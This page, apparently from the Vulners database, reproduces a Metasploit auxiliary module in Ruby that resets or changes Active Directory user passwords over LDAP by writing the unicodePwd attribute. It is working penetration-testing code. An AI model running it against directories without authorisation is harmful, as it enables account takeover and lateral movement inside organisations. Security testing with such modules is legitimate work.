Lucene search
+L

Change Password

🗓️ 07 Dec 2024 18:54:19Reported by smasheryType 
metasploit
 metasploit
🔗 www.rapid7.com👁 754 Views

This module enables Active Directory users to change or reset passwords with necessary privileges.

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::LDAP
  include Msf::OptionalSession::LDAP

  ATTRIBUTE = 'unicodePwd'.freeze

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Change Password',
        'Description' => %q{
          This module allows Active Directory users to change their own passwords, or reset passwords for
          accounts they have privileges over.
        },
        'Author' => [
          'smashery' # module author
        ],
        'References' => [
          ['URL', 'https://github.com/fortra/impacket/blob/master/examples/changepasswd.py'],
          ['URL', 'https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/6e803168-f140-4d23-b2d3-c3a8ab5917d2'],
        ],
        'License' => MSF_LICENSE,
        'Actions' => [
          ['RESET', { 'Description' => "Reset a target user's password, having permissions over their account" }],
          ['CHANGE', { 'Description' => "Change the user's password, knowing the existing password" }]
        ],
        'DefaultAction' => 'RESET',
        'Notes' => {
          'Stability' => [],
          'SideEffects' => [ IOC_IN_LOGS ],
          'Reliability' => []
        }
      )
    )

    register_options([
      OptString.new('TARGET_USER', [false, 'The user to reset the password of.'], conditions: ['ACTION', 'in', %w[RESET]]),
      OptString.new('NEW_PASSWORD', [ true, 'The new password to set for the user' ])
    ])
  end

  def fail_with_ldap_error(message)
    ldap_result = @ldap.get_operation_result.table
    return if ldap_result[:code] == 0

    print_error(message)
    if ldap_result[:code] == 19
      extra_error = ''
      if action.name == 'CHANGE' && !datastore['SESSION'].blank?
        # If you're already in a session, you could provide the wrong password, and you get this error
        extra_error = ' or incorrect current password'
      end

      error = "The password change failed, likely due to a password policy violation (e.g. not sufficiently complex, matching previous password, or changing the password too often)#{extra_error}"
      fail_with(Failure::NotFound, error)
    else
      validate_query_result!(ldap_result)
    end
  end

  def ldap_get(filter, attributes: [])
    raw_obj = @ldap.search(base: @base_dn, filter: filter, attributes: attributes)&.first
    return nil unless raw_obj

    obj = {}

    obj['dn'] = raw_obj['dn'].first.to_s
    unless raw_obj['sAMAccountName'].empty?
      obj['sAMAccountName'] = raw_obj['sAMAccountName'].first.to_s
    end

    obj
  end

  def run
    if action.name == 'CHANGE'
      fail_with(Failure::BadConfig, 'Must set LDAPUsername when changing password') if datastore['LDAPUsername'].blank?
      fail_with(Failure::BadConfig, 'Must set LDAPPassword when changing password') if datastore['LDAPPassword'].blank?
    elsif action.name == 'RESET'
      fail_with(Failure::BadConfig, 'Must set TARGET_USER when resetting password') if datastore['TARGET_USER'].blank?
    end
    if session.blank? && datastore['LDAPUsername'].blank? && datastore['LDAP::Auth'] != Msf::Exploit::Remote::AuthOption::SCHANNEL
      print_warning('Connecting with an anonymous bind')
    end
    ldap_connect do |ldap|
      validate_bind_success!(ldap)

      if (@base_dn = datastore['BASE_DN'])
        print_status("User-specified base DN: #{@base_dn}")
      else
        print_status('Discovering base DN automatically')

        if (@base_dn = ldap.base_dn)
          print_status("#{ldap.peerinfo} Discovered base DN: #{@base_dn}")
        else
          fail_with(Failure::UnexpectedReply, "Couldn't discover base DN!")
        end
      end
      @ldap = ldap

      begin
        send("action_#{action.name.downcase}")
      rescue ::IOError => e
        fail_with(Failure::UnexpectedReply, e.message)
      end
    end
  rescue Errno::ECONNRESET
    fail_with(Failure::Disconnected, 'The connection was reset.')
  rescue Rex::ConnectionError => e
    fail_with(Failure::Unreachable, e.message)
  rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e
    fail_with(Failure::NoAccess, e.message)
  rescue Rex::Proto::LDAP::LdapException => e
    fail_with(Failure::NoAccess, e.message)
  rescue Net::LDAP::Error => e
    fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
  end

  def get_user_obj(username)
    obj = ldap_get("(sAMAccountName=#{ldap_escape_filter(username)})", attributes: ['sAMAccountName'])
    fail_with(Failure::NotFound, "Failed to find sAMAccountName: #{username}") unless obj

    obj
  end

  def action_reset
    target_user = datastore['TARGET_USER']
    obj = get_user_obj(target_user)

    new_pass = "\"#{datastore['NEW_PASSWORD']}\"".encode('utf-16le').bytes.pack('c*')
    unless @ldap.replace_attribute(obj['dn'], ATTRIBUTE, new_pass)
      fail_with_ldap_error("Failed to reset the password for #{datastore['TARGET_USER']}.")
    end
    print_good("Successfully reset password for #{datastore['TARGET_USER']}.")
  end

  def action_change
    obj = get_user_obj(datastore['LDAPUsername'])

    new_pass = "\"#{datastore['NEW_PASSWORD']}\"".encode('utf-16le').bytes.pack('c*')
    old_pass = "\"#{datastore['LDAPPassword']}\"".encode('utf-16le').bytes.pack('c*')
    unless @ldap.modify(dn: obj['dn'], operations: [[:delete, ATTRIBUTE, old_pass], [:add, ATTRIBUTE, new_pass]])
      fail_with_ldap_error("Failed to change the password for #{datastore['LDAPUsername']}.")
    end
    print_good("Successfully changed password for #{datastore['LDAPUsername']}.")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jul 2026 19:06Current
7High risk
Vulners AI Score7
754